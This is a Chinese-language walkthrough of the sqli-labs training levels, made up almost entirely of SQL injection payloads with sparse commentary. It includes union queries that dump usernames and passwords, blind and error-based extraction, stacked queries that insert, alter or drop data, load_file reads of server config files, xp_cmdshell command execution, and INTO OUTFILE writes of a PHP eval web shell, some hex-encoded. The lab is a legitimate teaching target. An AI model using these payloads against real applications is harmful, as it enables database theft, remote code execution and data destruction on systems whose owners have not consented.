正常 ?id=1 报错 ?id=1' 正常 ?id=1'or 1=1--+ 正常 ?id=1'order by 3--+ 报错 ?id=1'order by 4--+ 数据库 ?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ 表名 ?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ 列名 ?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 数据 ?id=-1'union select 1,username,password from users where id=2--+
Less-2
1 2
?id=1 or 1=1--+ 后续Payload参考Less-1
Less-3
1 2 3
?id=1') or '1'=('1 ?id=1') or 1=1--+ 后续Payload参考Less-1
Less-4
1 2 3
?id=1") or "1"=("1 ?id=1") or 1=1--+ 后续Payload参考Less-1
?id=1'union select (if(substring(current,1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),null)),2,3 from (select database() as current) as tb1--+
select <?php @eval($_post["cmd"])?> into outfile "c:\\phpnow\\htdocs\\test.php"
第二种修改文件结尾：
1
select version() into outfile "c:\\phpnow\\htdocs\\test.php" lines terminated by 0x16
上述提到了 load_file(),但是当前台无法导出数据的时候，我们可以利用下面的语句：
1
select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini') into outfile 'c:\\wamp\\www\\test.php'
可以利用该语句将服务器当中的内容导入到 web 服务器下的目录，这样就可以得到数据了。
下面来看Less-7
1 2 3
?id=1')) or 1=1--+ ?id=1')) into outfile "/tmp/1.php" lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373375d293b3f3e--+ ?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile "/tmp/1.php"--+
Less-8
1 2 3 4 5
?id='or 1=1--+ ?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+ ?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+ ?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+ ?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
insert into users values('16','lcamry','lcamry'); delete from users where id=16; drop database 数据库名; drop table 表名; alter table 表名 drop column 列名; update users set username='tt' where id=15;
此例子中我们的步骤是注册一个admin'#的账号，接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。 Sql 语句变为 UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password=' 也就是执行了 UPDATE users SET passwd="New_Pass" WHERE username ='admin'
select * from users where id=1;create table test like users; select * from users where id=1;drop table test; select * from users where id=1;select 1,2,3; select * from users where id=1;select load_file('c:/tmpupbbn.php'); select * from users where id=1;insert into users(id,username,password) values('100','new','new');
Mssql
1 2 3 4 5
select * from test;create table sc3(ss CHAR(8)); select * from test;drop table sc3; select 1,2,3;select * from test; select * from test;update test set name='test' where id=3; select * from test where id=1;exec master..xp_cmdshell 'ipconfig' #sqlserver中最为重要的存储过程的执行
Oracle无法堆叠注入
Postgresql
1 2 3 4
select * from user_test;create table user_data(id DATE); select * from user_test;delete from user_data; select * from user_test;select 1,2,3; select * from user_test;update user_test set name='modify' where name='张三';
Less-38
Less-38至Less-45是用来熟悉堆叠注入的
1
?id=1';insert into users(id,username,password) values('38','less38','hello')--+
Less-39
1
?id=1;insert into users(id,username,password) values('39','less39','hello')--+
Less-40
1
?id=1');insert into users(id,username, password) values('109','less40','hello')%23
Less-41
1
?id=1;insert into users(id,username,password) values('110','less41','hello')%23
Less-42
1 2
username: admin password: c';create table less42 like users#
Less-43
1 2
username: admin password: c');create table less43 like users#
Less-44
1 2
username: admin password: a';insert into users(id,username,password) values ('144','less44','hello')#
Less-45
1 2
username: admin password: c');create table less45 like users#
没有报错，但是right换成left都一样，说明数字没有起作用。此时可以用报错注入和延时注入。 1.直接添加注入语句，?sort=(select ******) 2.利用一些函数。例如 rand()函数等。?sort=rand(sql语句) 3.利用 and，例如?sort=1 and (加sql语句)。?sort=rand(ture)和?sort=rand(false)的结果是不一样的 同时，sql语句可以利用报错注入和延时注入的方式，语句我们可以很灵活的构造。
1 2 3 4
?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)) limit 0,1) #报错注入 ?sort=rand(ascii(left(database(),1))=115) #布尔盲注 ?sort=(select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1) #时间盲注 ?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5)) #时间盲注
?sort=1 into outfile "c:\\wamp\\www\\sqllib\\test1.txt" #将查询结果导入到文件当中
那这个时候我们可以考虑上传木马，利用lines terminated by。
1
?sort=1 into outfile "c:\\wamp\\www\\sqllib\\test1.php" lines terminated by 0x(木马经过16进制转换)
Less-47
1 2 3 4 5 6 7
?sort=1'and rand(ascii(left(database(),1))=115)--+ #有点问题，对错结果都一样 ?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+ ?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+ ?sort=1'and if(ascii(substr(database(),1,1))=115,0,sleep(5))--+ ?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+ ?sort=1'into outfile "c:\\wamp\\www\\sqllib\\test.txt%"--+ ?sort=1'into outfile "c:\\wamp\\www\\sqllib\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+ #此处的16进制文件为<?php phpinfo();?>
Less-48
1 2
?sort=rand(ascii(left(database(),1))=178) ?sort=1 and (if(ascii(substr(database(),1,1))=115,0,sleep(5)))
Less-49
1 2
?sort=1'and (if(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))--+ ?sort=1'into outfile "c:\\wamp\\www\\sqllib\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
Less-50
Less-50至Less-53是order by stacked injection 这几关使用的是mysqli_multi_query()函数，而之前使用的是mysqli _query()，区别在于mysqli_multi_query()可以执行多个sql语句，而mysqli_query()只能执行一个sql语句，那么此处就可以执行多个sql语句进行注入，也就是堆叠注入。
1
?sort=1;create table less50 like users
Less-51
1
?sort=1';create table less51 like users--+
Less-52
1
?sort=1;create table less52 like users
Less-53
1
?sort=1';create table less53 like users--+
Challenges
Less-54
1 2 3
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='J035VPGANL'--+ ?id=-1'union select 1,2,group_concat(secret_O8GE) from challenges.J035VPGANL--+
Less-55
1
?id=-1)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
Less-56
1
?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
Less-57
1
?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
Less-58
1
?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
Less-59
1
?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
Less-60
1
?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
Less-61
1
?id=-1'))union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
Less-62
1
?id=1')and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
Less-63
1
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=77,0,sleep(10))--+
Less-64
1
?id=1))and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'), 1,1))=79,0,sleep(10))--+
Less-65
1
?id=1")and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
